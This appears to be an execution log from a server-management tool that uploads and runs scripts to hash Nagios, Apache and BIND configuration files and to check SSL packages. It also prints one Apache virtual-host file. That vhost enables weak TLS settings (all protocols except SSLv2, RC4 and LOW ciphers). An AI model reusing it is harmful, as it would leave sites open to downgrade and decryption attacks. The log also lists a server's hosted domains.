        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-31 11:34:33: 

chmod 755 /tmp/pkp284928; /tmp/pkp284928; rm /tmp/pkp284928

2026-03-31 11:34:33: 
(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 995fee4c636b92ff7c52c503adce3e2f
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= f0d82d7673bc8aac8a03809b832861e0
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2026-03-31 11:34:33: 

PUT: /tmp/pkp464214

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-31 11:34:33: 

chmod 755 /tmp/pkp464214; /tmp/pkp464214; rm /tmp/pkp464214

2026-03-31 11:34:33: 


status=ok


2026-03-31 11:34:33: 

PUT: /tmp/pkp131305

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:34:33: 

chmod 755 /tmp/pkp131305; /tmp/pkp131305; rm /tmp/pkp131305

2026-03-31 11:34:33: 
2026-03-31 11:34:33: 

PUT: /tmp/pkp715652

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_hub_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:34:33: 

chmod 755 /tmp/pkp715652; /tmp/pkp715652; rm /tmp/pkp715652

2026-03-31 11:34:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_hub_us.conf	1268

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub/public
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub/public
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 8eab3470a2365227821ae5b538c45e8a
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= cacfbf8718a1e8092d40e0522c355800
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= 4dd430c852cb312a2a0de5c9b5439c91
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= 88fd3d003dada60987cdbd7d39bad481
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= af5483a80eb95f0483b52cc474fc3b1d
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= a64e07eff4b031bd3bda384f8bb50dc8
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 4f687838cb93eb85f6c2335f764d02fc
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= 9e11afd365c093fc111ce973d5b42650
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 0a727746bd36ccdb032c4d9e25a4423b
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 7305f50b93f8ff30ac5a1c90430ac35c
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 891c32524516668ef2093790f319b0b5
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 140ce8b1698a959dd31d7da56c0e3616
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 1884a8f36c31ee2fe34d68fda8e1ef12
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= ca7678f2a07f10efe5476971a42ea280
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= 2ed21345e273eb18be8f198117b96edb
MD5(/etc/apache2/sites-available/pjy_hub_us.conf)= e9bc6fb3ffb2255877158f3de578c46a
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= ad029145e2cd857e56527eec590ecd9d
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2/sites-available/pjy_hub_us.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf




STDERR:
/tmp/pkp131305:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-31 11:34:59: Establishing a connection
2026-03-31 11:35:00: 

PUT: /tmp/pkp208923

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:35:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp208923; rm /tmp/pkp208923'

2026-03-31 11:35:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
